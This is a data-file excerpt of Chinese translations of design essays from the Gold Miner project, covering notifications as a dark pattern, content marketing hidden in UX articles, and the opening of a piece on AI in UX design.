    "content": "\n  > * 原文地址：[Are Notifications A Dark Pattern?](https://blog.prototypr.io/are-notifications-a-dark-pattern-2c1a177b26e0)\n  > * 原文作者：[Designlab](https://blog.prototypr.io/@trydesignlab)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/are-notifications-a-dark-pattern.md](https://github.com/xitu/gold-miner/blob/master/TODO/are-notifications-a-dark-pattern.md)\n  > * 译者：[Changkun Ou](https://github.com/changkun)\n  > * 校对者：[lsvih](https://github.com/lsvih), [Yuuoniy](https://github.com/Yuuoniy)\n\n# 通知是一种「暗模式」吗？\n\n  ![](https://cdn-images-1.medium.com/max/2000/0*_tmPbpsam2ERhTWd.png)\n\n文字 & 插图: Andrew Wilshere\n\n **你有没有做过这种噩梦：在梦中你被通知标记的小红点给淹没了？** 我就做过一次，它让我想到：通知究竟是什么？他们只是一种暗模式（dark pattern）吗？一种强制的、在线欺骗的形式吗？在这篇文章中，我将探讨「伪通知」的现象，并就未来对通知作为设计模式发表一些想法。\n\n---\n\n### 通知是什么？\n\n**通知屡见不鲜。**门铃是能让我们知道有人在家门外的通知系统。电话铃声则是有人正在等待和你对话的讯号；而短信铃声通知我收到了新的消息。\n\n然而，随着智能手机的到来，通知的作用已经发生了不易察觉的改变。首先，最重要的是，现在我们每天使用的 App 和网站都喜欢通知我们一切他们能通知的。我们的手机不仅仅只提醒我们打电话和发短信；它们还提醒我们和游戏有关的活动，告诉我们关注的人什么时候发了 Twitter，并且「叮嘱」我们的 10,000 个待办事项。与门铃不同，今天的 App 和网站认为值得通知的东西通常不需要我们立即处理。\n\n其次，现在通知的方式越来越多，不论手段，不管情景，通知总能够传达到我们手中。无论是一个未读消息的统计数、手机屏幕顶部的文字滚动条、特殊的铃声，还是无声的语音助手，通知都在逐渐渗透我们的感官，打断我们正在做的事情。分心不是通知的不利副作用，相反，正是它核心功能之一。通知旨在让我们远离我们当前的活动，并将注意力集中在通知从何处来。\n\n通知是 UX 设计师和开发人员的强大工具，因为它们巧妙的利用的人们的心理防线。通知引诱着人类内心深处渴望融入社会、被社会接受的本能，一个个小红点中的数字巧妙地告诉我们，在这个 App 中正有着一些社会事务在等待我们的关注，而选择忽略它，我们就错过了一些事情。现在，估计所有人都有过这样的体验：仅仅是看到一个未读数字，即使我们已经知道自己对它其中的内容并不感兴趣，但就是抑制不住去点开它的冲动。\n\n**曾今的通知提醒我们需要知道的事情。**但是，现在公司的铤而走险是否让他们把产品变成了一种令人烦恼的、一种受操控的、具有破坏性的「暗模式」了呢?\n\n---\n\n### 通知即暗模式\n\n**「暗模式」是指任何意图欺骗、操纵甚至欺诈用户采取他们不希望或打算的动作而设计的功能。** 这些最早出现在互联网萌芽时期，当一些神奇的网站在你的浏览器中弹窗时，在许多情况下会通过邀请他们点击来「诱导并转换」用户，然后重定向到一些无关的东西上去。\n\n[这个关于暗模式的网站](http://darkpatterns.org/)罗列了相当全面的暗模式类别，它们保留了一个「耻辱柱」，用来指出那些故意欺骗用户的公司和产品。\n\n如今，暗模式变得更广泛和更复杂。许多网站使用基本无害的暗模式来收集电子邮件订阅者，并通过在向下滚动时，在网页上展示覆盖整个页面的「订阅」框。\n\n正是因为这些东西的外观无关痛痒，所以对用户来说非常讨厌和恼人。但是很多公司都认为，这种偶然的低级趣味正是构建客户群的价值，而且实际上大多数客户都很理解并接受它们。 尽管如此，就像广告一样，如果采取一些富有创造力的手段稍加处理，用户会变得更加容易接受它们。\n\n即使是那些为人熟悉「订阅」框，也有不同程度的处理技巧。 举个例子，它可以以可选的方式弹出。不过有些网站会故意让弹窗看起来像一个需要用户强制性的执行的步骤，但实际上通常会有一种方法来关闭消息并继续阅读网站。\n\n操作系统级通知管理器已经成为 Android 和 iOS 构建的一个功能，它们可以强制禁止来自应用的通知。同样，App 通常也有内置的通知控件，但通常它们是可调整的。 比方说，在 Facebook Messenger 里，用户可以暂时禁用通知，几个小时后通知则可以自动重新开启。此外，App 的通知默认情况下是自动打开，而不是自动关闭的。\n\n---\n\n### 暗模式通知的例子\n\n**我们每天使用的许多网站都利用了我们担心错过通知消息的心理缺陷。**它们使用「伪通知」来提供营销信息、或者简单地让我们返回使用他们的产品，但其实并没有什么有价值的内容可以通知我们。\n\n#### LinkedIn\n\n在 LinkedIn 主页上，你可以看到一个导航栏，如下所示：\n\n![](https://cdn-images-1.medium.com/max/2000/0*RWfwBOfuTqEjfHw8.png)\n\n「我的天，我竟然有 7 个通知！」（...重新激活会员是什么？但我从来没有开启过会员呀？这就是另一种暗模式：玩弄用户对损失的恐惧）。\n\n但是当我点击查看这些通知时，它们给出的仅仅只是一些伪通知：（1）参与改进别人的个人资料（2）告诉我注册他们的高级服务可以查看谁看了我的主页（3）招聘广告。\n\n![](https://cdn-images-1.medium.com/max/1600/0*A1mzOvIHjPRaVsbA.png)\n\n**LinkedIn 的伪通知**\n作为 LinkedIn 用户，当我们没有任何新消息或联系请求时，我们的通知 Feed 中仍然会显示一些无关痛痒的广告。这样的处理，让我们能够在他们的网站上花更多的时间、点击更多的页面，并完成更多地交互。\n\n#### Facebook\n\nFacebook 是我们以前看到的那种通知 Feed 的原始工程师之一。这家公司在过去几年中也转而使用伪通知来让人们以更协调的新的方式与他们的服务进行交互。比如，当我到达巴黎时，我会收到通知邀请我查看我的朋友曾今在这座城市的哪些地方玩过。首先，Facebook，有点令人后背发凉，因为像是在跟踪我。其次，这不是我想要在我的通知 Feed  中被提醒的东西。\n\n![](https://cdn-images-1.medium.com/max/1600/0*PA-akOGFo-OhkkPZ.png)\n\n**Facebook 的通知面板：这些都不是真正的通知**\n同样，Facebook 会根据你如何使用他们的服务创建通知。如果你在刷新时缺少「真实」通知（评论、喜欢等），则会使用这种延迟来提出其他形式的参与。例如，通过鼓励你查看并回顾 Facebook 的「回忆」功能、向你提供有关你分享内容的动态、或者通过告诉你你的网页有多少访问量等等。\n\n#### Twitter\n\n![](https://cdn-images-1.medium.com/max/1600/0*DTweu2kIIb03vorO.png)\n\n**当你没什么推文时，Twitter 会有效地向你显示其他人互动的通知**\nTwitter 使用了类似的策略，通过补充你的通知 Feed，以确保总是有新的东西与你进行交互。\n\n当服务没有任何直接的交互来通知你时，它会开始尝试告诉你**其他用户**的行为。在上面的截图中，它告诉我有关我在关注的人在网站上做了什么，这是元通知（meta-notification）的一种。\n\nTwitter 也会将此类通知推送到你的手机中，从而邀请再次与他们的应用进行互动。\n\n---\n\n### 参与的代价\n\n我选择了 LinkedIn，Facebook 和 Twitter 作为例子，这是通知设计中这个趋势的三大突出例子，但当然这种做法在一系列网站和行业中越来越普遍（令人不安的是，我的葡萄酒俱乐部的网站告诉我，我还有 117 瓶葡萄酒等着我去品尝）。\n\n在以这种方式通知的公司中要平衡的问题必须是：你究竟是以用户的利益行事还是以你自己的方式行事？如果你是以自己的利益行事，你是否权衡了用户的利益？许多网站依靠点击来获得广告收入，并在通知中发现了一种相当粗暴的方式来获得「双赢」。\n\n公平地讲，公司正面临着这些方法相当有用的问题。 即使作为用户的我们知道到我们正在被操控，我们依然会进行点击。而在商业环境中，当你所有的竞争对手都在这样做并收获回报时，原则上拒绝使用一种有效的营销手段，这将是一场灾难。\n\n---\n\n### 通知的峰值？\n\n然而，这种通知设计方法是否仍然有效，将完全取决于我们作为用户的态度演变。在某些时候，我们可能都经历过通知疲劳。就个人而言，像 Twitter 这样的平台侵入式的通知的做法，会让我想减少使用这些服务（但我仍然会沉迷于 Facebook）。\n\n当用户学习识别和避免伪通知时，正如我们学会识别和避免广告一样，通知可能变得不那么有说服力，因此哪怕是作为利用用户行为的方式，效果也很差。更重要的是，如果人们对通知的态度变得强硬，他们部署的暗模式，将系统性地降低人们对这个品牌的看法。相反，在这种情况下，采用更简单、诚实、透明的通知形式的公司和服务可能会受益于这一卖点而变得更加受欢迎。\n\n---\n\n### 通知与科技、生活的平衡\n\n**如果昨天的问题是工作/生活平衡，那么这个故事就是关于科技/生活的平衡。** 使用通知作为暗模式很重要，因为它引发了关于我们如何在世界范围内管理和控制我们对智能技术的个人使用的问题。不仅在于它是普遍的存在的，而且那些运行关键服务的人也不会对我们进行信息轰炸。\n\n技术有潜力通过保持我们的联系来增强我们的社会和个人生活。但是通知显示，技术也有权力通过与商业经纪人、媒介和处理方式的真实联系来削减我们的生活品质。\n\n这牵涉到了 21 世纪发达世界的人类是什么样子的问题。我们正在一起学习如何在享受我们新发现的连接带来的好处的同时，又不失去我们真正珍视这些连接以及我们想要的技术帮助我们在社会关系中取得的成就。\n\n---\n\n###  通知的未来\n\n**科技公司对技术/生活平衡问题并不了解。** 随着未来几年变得越来越紧迫，我们可以期待像 Facebook 这样的服务：在部署伪通知的时间、方式以及频率方面更加智能化。\n\n我相信，很久以后，Facebook 会自动学习我倾向于点开什么样的通知、忽略什么样的通知。这些数据将使服务能够根据对用户喜好的了解，自动发送个性化的通知。例如，如果它的算法注意到我总是无视或忽略关于在新城市的通知，Facebook 可能会学会简单地停止向我显示该信息，或者向我显示其他信息。\n\n但是这会产生道德危机。 目前，伪通知暗模式是相当粗暴的，不过好在它很容易识别。但是，随着服务不断改进他们的信息如何选择和交付，当信息在基于机器学习关于我们的个人在线行为和潜在偏好的基础上被定制时，它可能变得越来越不明显。\n\n这开启了一扇关于操控的大门，它不仅仅是由于人类自身，还得益于那些能够学会只向我们展示我们已经想要看到的信息（哪怕那些与我们当前的世界观一致的新闻故事）的算法。\n\n作为用户，我们应该时刻保持警惕，确保我们保持质疑和被质疑的能力。作为设计师和开发人员，我们必须不断探索而开发体验。这些体验应当尊重用户，即具有能动作用和独立人格尊严的人，而不仅仅是把他们视为点击通知的容器。\n\n---\n\n很享受阅读吗？这里有更多的优质内容来自 Designlab：[伟大的设计思想家：Frank Chimero 的设计形状](http://trydesignlab.com/blog/frank-chimero-design-thinkers-shape-of-design/)\n\n---\n\n### 在 Designlab 学习基础知识\n\n我们提供有导师指导的短期课程，如 Design 101，以及沉浸式的 UX Academy 课程，为你成为专业用户体验设计师而做准备。[访问我们的课程网页以了解更多](http://trydesignlab.com/courses/)，如果有任何问题，请给我们留言 hello@trydesignlab.com。我们的下一期课程从 8 月初开始，所以不要犹豫！\n\n**Designlab 承诺**：我们认为教育应该是既严谨又实惠的 —— 你不应该为了获取你下一步生活需要的技能而把自己搞破产。\n\n---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/are-the-ux-articles-youre-reading-trying-to-sell-you-something.md",
    "content": "> * 原文地址：[Are the UX articles you’re reading trying to sell you something?](https://uxdesign.cc/are-the-ux-articles-youre-reading-trying-to-sell-you-something-48b67d987a21#.ddsal4rj4)\n> * 原文作者：[Fabricio Teixeira](https://uxdesign.cc/@fabriciot?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ylq167](https://github.com/ylq167)\n> * 校对者：[iloveivyxuan](https://github.com/iloveivyxuan) [atuooo](https://github.com/atuooo)\n\n\n# 你正在阅读的用户体验文章是不是在向你进行推销？ #\n\n## 一些关于现阶段 UX 领域文章的看法 —— 文章的重要性、偏见，以及如何确定你正在阅读的内容是否会偷偷的向你推销产品、服务或想法。 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*VmCdhTyifuySqItZeFN72w.jpeg\">\n\n「惊人美味」的想法。图片来自于： [Kyra](https://www.flickr.com/photos/kyra__m/5858446127/in/photolist-9VG4VR-2PUgw9-hBS3kh-5iXWaV-8PfGUn-4ZJAe3-d8keJ7-9i6CvY-9G9FxH-qAVaE-ah6b8C-amwZzW-7RKtbK-dJdWkM-a6rVGQ-hBRkQS-9R2XcS-hBQVv8-6uzKeg-ad1a9t-6uDVZG-dkKWBu-3wGmdd-pj8QfS-hBShCL-amx3j9-7hzqv8-5omsth-8mhJVP-6uDVMN-q4Z4Mp-6VZPmZ-6LbCba-4QbD7k-abLoLj-3wBW2t-8NmpPW-cCsW6s-arvp8X-amwAJw-dJjo3L-6YMsde-hBTkxa-iHowa8-bBpuVE-7MycDC-hBRFVw-bvvt7X-4AZVNV-awFueY)\n\n所有人都在互联网上阅读关于用户体验的内容。\n\n我也是这样的。我学习的绝大部分关于用户体验的东西来自在线阅读、网站、博客、论坛和电子书。那里有优质内容，一旦你养成了正确的阅读习惯，你就可以从别人分享的经验里学到非常多。\n\n>  那么问题来了：**为什么人们在网上免费分享他们的经验，供大家阅读？**\n\nUX 领域发表的大部分文章都是由业内人士编写的，某种程度上来说，他们和自己的公司利益相关，因为他们就是产业的**一部分**。这个行业面临的巨大挑战就是我们没有一群作者可以积极参与其中而又以完全中立的立场去写关于用户体验的文章，他们没有办法简简单单通过写作去影响别人而不从中获益或者不想从中获益。\n\n花点时间回顾一下这周你点击过的关于 UX 的链接。\n\n现在看一看这些内容发布的地方。\n\n这些公司是做什么的？他们在推销什么？\n\n它很有可能是：\n\n- 一个设计/原型软件\n- 一个设计公司\n- 一个个人／作品集网站\n- 一个服务提供商\n- 一个通过广告赚钱的设计/技术博客\n\n甚至当一篇文章在一些「中立」网站（比如 Mediium）发布的时候，也花时间看一看作者的个人简历。他们在哪里工作，他们以什么谋生？为什么他们花时间来写这篇文章，以及他们可能试图在向你推销什么？\n\n别误会我的意思：任何事情都有光明的一面。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*jmf3uFcOkeWjpar8QK0Y2A.jpeg\">\n\n知识分享是人类本性中的固有部分，正因为如此，我们才得以互相学习、完善知识体系、变得更聪明甚至以群体的方式存活下来。而之所以我 和 [Caio Braga](https://medium.com/@caioab) 会在第一时间创立 uxdesign.cc 也有其他的一些原因，我们想把这个作为回馈社区的一种方式，将我们之前免费习得的知识再免费分享给社区。你懂的，出来混迟早要还的。\n\n但是当我们将知识分享给设计社群时，我们必须确保我们发布的内容是公平、公正、没有一点私心的。\n\n值得注意的是，「UX」的话题正在逐渐融入商业，对于我们这些在该领域中谋生的设计师来说，这是个好消息。没有一种方式比讨论和写作能更有效地去推销用户体验相关的产品。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*lRXM5nOLHlzl6cYE4GySKg.png\">\n\n近12 年来「[用户体验设计](https://www.google.com/trends/explore?date=all&amp;q=ux%20design)」的热度变化（Google Trends）\n\n它的负面影响是什么？公司写这样一个具体的主题是有原因的，他们希望获得点击量，他们想与搜索结果建立联系，他们想在用户体验，原型和设计领域中被定义为思维领袖。\n\n> 而这样做的结果就是越来越多的文章带有高频的流行词汇、前往免费电子书的链接，以及诱惑用户点击的标题，因为这些东西都将为这些公司的网站带去流量。\n\n你可能已经看到了这样的（标题）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*wcxc_xaQgqFm3wzzzMYG8A.png\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*s6hRWlM0rbbEpcPu8NE7-g.png\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*NMXDNeJkysnQumrPP6_THA.png\">\n\n这儿有[更多](http://ux-clickbait.tumblr.com/)。\n\n我们收集了这些标题，但并不以此为荣。\n\n但是让我们分析**为什么**会发生这种情况：这些作者到底想向你推销什么？\n\n### 他们想让你用他们的原型设计工具 ###\n\n当一些人在谷歌上搜索「最好用的原型工具」时，有些公司拼命的想成为排名第一的搜索结果。或者是「最好的 sketch 插件」「最好的用户测试应用」这些，不一而足。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*R5dRrJbB5r6zXFCwU3Tgig.png\">\n\n除了[一些「真正」](https://uxdesign.cc/ux-user-research-and-user-testing-tools-2d339d379dc7#.vzwufa2ne)将心思花在如何创造一款有用的、高效的、易用的工具上的公司之外，大部分的公司将大量的时间投入在企业博客上。\n\n编写和发布一篇关于用户体验、设计和原型的文章不仅会将他们的公司定位为该领域的思想领袖，而且有助于建立搜索相关性，从而提高自然搜索流量，而且，如果访问这篇文章的小部分用户决定尝试它们的工具，他们整个内容营销策略很快会变成一个**金钱制造机**。\n\n下一次当你查看由设计或原型设计软件的制作者撰写的文章时，注意标题和介绍，是不是有太多不必要的关键词？他们是不是在暗示你只要做了什么事情就可以变成更成功的设计师？而这可能只是因为他们设计了一个工具去做这样一件事情，所以他们说服人们相信这件事情远比它实际的意义重要的多。\n\n### 他们（拼命地）想要你的电子邮件地址 ###\n\n这是另一种常见的情况，你点击一个有着很有趣标题的文章，但是进入了一个有着非常小的实际阅读区域的页面。在页面的顶部和底部你可以看见一系列的**悬浮遮罩**和**弹出式广告**邀请你下载该公司的电子书，只要简单的输入你的电子邮箱地址。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*DgYlTFj2--VxWlC6iwBc9w.jpeg\">\n\n这叫做[内容营销](https://www.forbes.com/forbes/welcome/?toURL=https://www.forbes.com/sites/joshsteimle/2014/09/19/what-is-content-marketing/&refURL=&referrer=)，当一切完成，这就成为了产生潜在客户的有效方式。\n\n问你自己一个问题，为什么他们如此努力的要获得你的电子邮箱地址。是为了卖给第三方吗？他们会通过每天向你发送垃圾邮件让你的生活变得糟糕？他们会在向你发送的邮件中销售广告模块吗？还是她们只是尝试结交新朋友？\n\n### 他们想要招募你 ###\n\n还有另外一些公司，大多数是设计机构和产品设计团队，他们使用长文章作为招聘手段。有一些[优秀团队发布的文章](https://uxdesign.cc/the-best-medium-publications-from-design-teams-to-follow-fc609bdd49d2)，他们编写并发布得十分频繁。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*t9KLsDVZ9lFWXkCJ7aBhQw.jpeg\">\n\n课程：[作一分钟 dropbox 视频](https://medium.com/dropbox-design/the-making-of-a-1-minute-dropbox-video-c0e909d98fc3#.7b21pvuw4)\n\n来自这部分公司的内容往往是精心设计的，并且和正在经历这篇文章所说挑战的设计师相关。\n\n高质量的内容并不值得惊讶：这些公司通常有专门的团队（或每周给设计师专门的时间）来写作以及同全世界分享他们的经验。他们意识到长文章如何能够为设计师提供一个幕后的视角，让他们知道为这个公司工作的感受是什么。而这些内容通常围绕以下几个方面：\n\n- 在该公司工作多么的有趣\n- 该公司的产品多么惊人\n- 设计过程多么鼓舞人心和高效协作\n- 公司的工作空间和员工们多么得酷\n\n这里的建议是：对一切都要抱有怀疑的态度而不是完全相信。在点击「发布」之前，公司说的和展示的一切都全部已经精心策划过。\n\n> **并不是每一个设计过程都像它写的回顾看起来那样流畅，也不是所有的设计交付品都像案例研究中所显示的那样清晰和简明。**\n\n### 他们想推销自己的个人品牌 ###\n\n在一些情况下，你正在阅读的文章背后并不是一个大公司。内容发布在独立博客平台上，并且署名是个人，还有真实的头像，而不是一个商标。\n\n现在看一看他们的简历。\n\n- 「ary Smith，自由设计师，会公开演出」\n- 「Joe Schmo，设计工作室 XYZ 的联合创始人，这儿有链接：（译者注：原文中并没有链接）」\n- 「John Nerks，独立 UX 顾问，买我的新书（译者注：原文中并没有链接）」\n\n虽然由独立作者撰写的文章并没有试图向你销售一个特定的工具或公司价值，但有其他的 KPI 指标隐藏在表面之下（比如增加关注者或潜在客户和雇主的数量）。\n\n这也无可厚非。。\n\n这是大多数作家在 uxdesign.cc 的情况。就我个人来说，这也是我的情况。每周我们收到并发表许多独立作家的文章。我们很喜欢他们：这些故事涵盖超级有趣的话题，他们确实在花时间与其他设计师分享他们的经验 —— 这真的很棒。\n\n我们有一套标准去对每一篇文章进行筛选：对读者来说内容是否清晰？作者是否教会读者一些新的东西？而作为交换，这篇文章是不是也给作者带来了知名度。\n\n但是有些设计师像大公司一样，把线上渠道作为内容营销的场所，他们通过写一些热门话题，让自己成为专家，**然而他们并没有在该领域的真实经历或专业知识**。\n\n这很难判断，因为「真实经历」太主观了。但你的确可以做一些事情去检查一下文章的来源。\n\n### 问自己的问题（对，一份检查清单） ###\n\n写作作为一种营销工具的趋势短期内不会放慢。一个话题（在我们的领域就是「UX」）得到的认同越多，越多的公司和专业人员想抓住这个机会参与其中。\n\n但是作为一个读者，你可以做一些事情，让你下次再接触未知来源的文章时有更好的准备。就像设计中所有的事情归根结底在于[提出正确的问题](https://www.subtraction.com/2016/06/24/questions-to-ask-yourself-when-reading-about-design/)，同时在分享之前，对我们阅读和分享的内容多一些质疑。\n\n- **谁在写？** 作者是否清楚的说明了对于正在讨论的问题可能存在偏见？他们与创作这个设计的公司有什么关系吗？或者是他们的竞争公司吗？他们的公司如何盈利？他们有什么资格写这个主题？（请记住：当前，任何人都可以在 Medium 中创建账号）\n- **这篇文章的内容是什么？** 作者表明的观点是基于猜测还是基于已有的证据？这篇文章是否为它所说言论提供了背景而不仅仅是作者的个人经历？\n- **这篇文章是怎么论述的？** 这篇文章是否使用了夸张的语言，或者在某些方面强行说服你？作者是否使用了太多的关键词，或者为 SEO 编写了一些内容？是标题党吗？作者是否挑起了争议，作为一种得到更多关注和评论的方式？他们是否举了真实的例子去支持他们的观点？\n- **这篇文章教了一些新东西吗？** 这篇文章是否挑战你对这个问题的假设？他是否有助于你在不同的角度看待一个话题？你在文章结束后是否学到了新东西？这个信息源未来的内容是否真的值得订阅或关注？\n\n### 界限变得越发模糊 ###\n\n>  **内容营销**最大的挑战就是大部分都是伪装了的广告。\n\n不同于横幅广告和 YouTube 视频播放前的广告，内容营销没有免责声明，没有明确的迹象表明你正在阅读的背后是商业利益。但是这绝对是我们生活世界的真实情况，除了认识到它、提出正确的问题、对我们在网上阅读和分享的内容保持怀疑外，我们也无法做更多的事情。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*mTBHduXHE-sQAH3o8P0CdA.png\">\n\n### 所以，我们为什么写作？ ###\n\n不瞒你说：我们属于「营销个人品牌」的那一类。作为一个拥有超过 15 万来自世界各地粉丝而且他们会每周都会收到我们内容的网站的编辑，我们当然知道在线写作和分析内容可以给我们一些知名度，把知名度作为主要驱动力是十分诱人的。但是当你这样做的时候。内容会变得浅显，并且完全由数字驱动。所以每天我们强迫自己记住我们的使命：回报社区一些有**价值**的东西。\n\n我们不从 uxdesign.cc 赚钱，也从未打算这么做。 但在我们每周收到的数以百计的电子邮件和评论中，经常有这些内容：有的设计师因为我们分享了一篇文章决定从事 UX 的工作，有的在他们的项目中应用了一种[新方法](https://uxdesign.cc/ux-design-methods-deliverables-657f54ce3c7d)，或者只是对[每周](http://ux.email)他们从我们这儿得到的灵感表示感谢。 这是我们可以想要的最好的 KPI。\n\n我们感受到了认同感，但同时我们也感受到了一种**责任感**，我们需要规范一下我们行业的线上发布文章的情况。\n\n**现在，如果你喜欢这篇文章，请在下方订阅我们的每周通讯。这样我们就可以从我们的赞助商中获得大量的钱。（邪恶的笑）**\n\n开个玩笑：我们的通讯没有任何广告和任何赞助，不会和钱有任何瓜葛。\n\n但是，你为什么要相信我呢？对吧。：）\n"
  },
  {
    "path": "TODO/artificial-intelligence-in-ux-design.md",
    "content": "\n  > * 原文地址：[Can AI Solve Your UX Design Problems?](https://www.sitepoint.com/artificial-intelligence-in-ux-design/)\n  > * 原文作者：[Mukund Krishna](https://www.sitepoint.com/author/mukund-krishna/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/artificial-intelligence-in-ux-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/artificial-intelligence-in-ux-design.md)\n  > * 译者：[Changkun Ou](https://github.com/changkun/)\n  > * 校对者：[Tina92](https://github.com/Tina92)、[shawnchenxmu](https://github.com/shawnchenxmu)\n\n# AI 能解决你的 UX 设计问题吗？\n\n  ![AI Powered UX](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/1501567920icDqSo2.jpg)\n\n马克·扎克伯格在 2016 年的重要新年决定之一就是建立属于自己的「[简单 AI 机器人](http://www.vanityfair.com/news/2016/12/mark-zuckerberg-spent-100-hours-building-his-own-robot-butler)」，来帮助他解决家务。还记得钢铁侠的管家 Jarvis 吗？这就是一个关于AI如何发挥作用的好莱坞经典范例。\n\n那么，人工智能（artificial intelligence, AI）究竟是什么？它又如何能解决当今最常见的UX问题呢\n\n![Tony Stark using Jarvis](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/150156788652646.jpg)\nTony Stark 在使用 Jarvis。\n\n人工智能（或者说 AI）是一种先进的类人计算机系统，能够聪明的管理通常需要人类手动执行的活动和系统。当苹果的 Siri 和亚马逊的 Echo 这样的机器人还在处理我们最平凡的任务时，像 Google 的 **Deep Dream** 这样的机器人天生就具有创造性，并能帮助用户解决问题，从而改善他们的体验。\n\nAI 正在多个实时场景中得到应用：\n\n- **处理数据爆炸**：随着智能手机和移动设备的出现，数据正爆炸式增长。随着数据量的增长，有一个 AI 系统来分析、处理、组织和解释数据。\n- **辨别我们的意图**：Netflix 可以从你的行为中预测什么样的电视节目或电影将让你待在沙发上。想象一下，你的 AI 系统可以调整汽车的温度，在你从车库出来时自动把灯关掉。\n- **改善客户体验**：AI 可深入挖掘人眼可能错过的细节，从而帮助你专注于正确的数据。 比如，[RightClick.io](https://rightclick.io/#/) 是一个聊天机器人，可以让你通过与其对话来创建网站。即使你试着对其用不相关的问题转移话题，这个 AI 设备还是会引导你返回网站创建的实际工作中去。\n\n![RightClick.io](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/15015679069ApLLkv.jpg)\nRightClick.io\n\n人工智能正在改变我们创造用户体验的方式。 虽然**终结者**的电影给了我们一个 AI 的反乌托邦的想法，但现实是完全不同的。AI 是一种强大的技术，可以积极地影响消费者行为，并使企业能够提供出色的用户体验。\n\n## 理解 AI 在 UX 中的作用\n\n首先，让我们来看看如今现实生活中一些 AI 如何影响 UX 的场景。 能够感知上下文的聊天机器人可以通过提供一些及时的建议或解决方法从而取悦你的客户。导航应用程序可以毫不费力地将你引导到目的地。简单点几下，你就可以在家门口收到你最喜爱的餐点。\n\n### 这是怎么工作的？\n\n开发 AI 的想法来自科幻小说，这些小说描述了可以说话、思考或感受的机器。AI 是多种新兴技术的组合，比如：机器学习、深度学习、聊天机器人、增强现实、虚拟现实和机器人等等。\n\nAI 涵盖了将智能注入到机器或设备的任何事情，使它们能模仿人类独特的推理能力。 所有这些，都可以通过使用能够发现人类行为模式、并从设备接收和存储的数据产生见解的算法来实现。应该细心的编写启用人工智能的设备或者机器，以便它们能在将来的决策中起到帮助。\n\n这一切可能听起来很简单，但这些交互都是由快速增长的 AI 技术提供的。事实上，当涉及人性化客户体验时，AI 将成为 UX 设计师套件中不可或缺的工具。然而，除了构建类似人类的对话和行动之外，AI 还能在数字领域中大显身手，创造出优秀的 UX。\n\n## 1. 一个面向协助的平台\n\nAI 正在伴随着机器人走向主流，而机器人则通过认知智能的力量培育出了像人一样的互动。然而，机器人不能完全取代人类。相反，AI 在 UX 的领域起到了卓有成效的协助作用。\n\n例如，[TheGrid.io](https://thegrid.io/) 是一个算法驱动的设计平台，可让您构建高度令人印象深刻和优化的网站。该平台是围绕连续 A/B 测试和细化布局的概念构建的。设计师可以筛选由这些 AI 驱动的工具提供的多个选项，并选择适合它们的功能。\n\n![TheGrid.io](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/1501567868cAk9mgD-e1501568470475.jpg)\n\n像任何好的助手一样，它通常在提供的新选项中做出最好的决定，而不是作出关键的决定。当设计师有一个智能平台帮助他们选择一个模板并通过应用算法来验证模板时，它可以帮助他们做出更多的创造性决策。\n\n## 2. 用 AI 制定旅程\n\n像 [ReFUEL4](https://www.refuel4.com/) 这样的公司利用预测分析的力量来了解用户的线上行为，并根据他们的行为对其进行进一步的细化。最强大的 UX 是一个了解甚至能预测用户兴趣和行动的 UX。\n\n![Refuel4](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/1501567882ezgif.com-optimize-34.gif)\n\n一旦设计师能够制定用户的行程，那么他就可以理解用户在交互过程中所期望路径。AI 驱动的行程制定可让你创建简单、有吸引力和有利可图的用户界面。\n\n## 3. 接管重复、低价值的创造性任务\n\n在多设备世界里，设计师经常必须提出许多图形和各种各样的内容，以满足各种形式的活动。 这可能很麻烦，要花很多时间。\n\n![Netflix layout generation.](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/07/150156789352650.jpg)\nNetflix 的布局生成。\n\n这就是像 Netflix 这样的平台将这些繁琐的任务交给算法的原因。人类设计师可以绘制布局应如何工作的「规则」，然后为系统提供一个原始图形元素库来处理它们。Netflix 的系统能够将规则与图像素材相结合，以创建原始电影海报和横幅单元。\n\n当 AI 处理这些任务时，设计人员可以更多地关注理解用户之旅并完善这些规则。 